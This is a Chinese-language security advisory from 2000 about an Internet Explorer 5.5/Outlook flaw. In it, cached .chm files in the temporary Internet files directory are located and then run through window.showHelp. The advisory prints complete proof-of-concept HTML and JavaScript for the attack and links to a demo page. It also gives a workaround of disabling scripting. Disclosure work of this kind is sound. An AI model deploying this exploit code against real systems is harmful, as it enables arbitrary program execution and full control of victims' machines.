安全研究

安全漏洞
IE 5.x/Outlook可通过.chm文件和Internet临时文件目录执行任意程序

发布日期:2000-11-21
更新日期:2000-11-21

受影响系统:

IE 5.5/Outlook/Outlook Express(其它版本也很有可能)
描述:

在IE 5.5/Outlook/Outlook Express中存在一个安全漏洞,它允许通过.chm
文件执行任意程序并泄漏Internet临时文件目录的位置。这可能会导致对用户机
器的完全控制。

Georgi Guninski早些时候曾向微软报告过一个类似的关于.chm文件的漏洞,微软
采用如下的方法解决了该问题:只有当.chm文件是从本地文件系统中加载时才允
许.chm文件执行程序。但是还是有可能找到Internet临时文件目录,这样的目录有
几个,并且名字是随机的。

下面的HTML代码将通过document.URL泄漏一个Internet临时文件目录的名字:

<OBJECT DATA="http://SOMEHOST.COM/chmtemp.html" TYPE="text/html"
WIDTH=200 HEIGHT=200>

其中SOMEHOST.COM是与存放该HTML文件的web服务器不同的一个服务器或者别名。
一旦知道了Internet临时文件目录的名字,就可能在任何Internet临时文件目录
中缓存一个.chm文件,然后使用window.showHelp( )执行它。

知道了Internet临时文件目录的名字并缓存了文档的情况下,还存在其它方法来
执行程序,但是showHelp( )似乎是最简单的方法。

如果下面的演示不起作用,请稍等,刷新该页面或者增加<IMG>和showHelp( )中
的“chm*.chm”的数目,或者增加等待时间以便有足够的时间来下载chm文件。

代码如下:

---------chmtempmain.html------------------------------------------
<IMG SRC="chm1.chm" WIDTH=1 HEIGHT=1>
<IMG SRC="chm2.chm" WIDTH=1 HEIGHT=1>
<IMG SRC="chm3.chm" WIDTH=1 HEIGHT=1>
<IMG SRC="chm4.chm" WIDTH=1 HEIGHT=1>
<IMG SRC="chm5.chm" WIDTH=1 HEIGHT=1>
<IMG SRC="chm6.chm" WIDTH=1 HEIGHT=1>
<IMG SRC="chm7.chm" WIDTH=1 HEIGHT=1>
<IMG SRC="chm8.chm" WIDTH=1 HEIGHT=1>
<IMG SRC="chm9.chm" WIDTH=1 HEIGHT=1>
<IMG SRC="chm10.chm" WIDTH=1 HEIGHT=1>
<BR>
The object below must be loaded from a server with name different from the parent document - it may be the same server but use the IP address or another alias.
<BR>
If this does not work try increasing the number of "chm*.chm" in IMG and showHelp.
<BR>
<OBJECT DATA="http://guninski.com/chmtemp.html" TYPE="text/html" WIDTH=200 HEIGHT=200>
---------------------------------------------------------------------

--------chtmtemp.html------------------------------------------------
<SCRIPT>
function g()
{
s=document.URL;
path=s.substr(0,s.lastIndexOf("\\"));
path=unescape(path);
alert("One of your temp files directory is: "+path);
window.showHelp(path+"\\chm1[1].chm");
window.showHelp(path+"\\chm2[1].chm");
window.showHelp(path+"\\chm3[1].chm");
window.showHelp(path+"\\chm4[1].chm");
window.showHelp(path+"\\chm5[1].chm");
window.showHelp(path+"\\chm6[1].chm");
window.showHelp(path+"\\chm7[1].chm");
window.showHelp(path+"\\chm8[1].chm");
window.showHelp(path+"\\chm9[1].chm");
window.showHelp(path+"\\chm10[1].chm");

}
setTimeout("g()",5000); // if you are on a slow internet connection you must increase the delay
</SCRIPT>
---------------------------------------------------------------------

<* 来源: Georgi Guninski (http://www.guninski.com) *>



测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


Georgi Guninski建立了一个演示页面:
http://www.guninski.com/chmtempmain.html


建议:

临时解决办法:

    禁止执行脚本。

厂商补丁:

    暂无。


浏览次数:5765
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障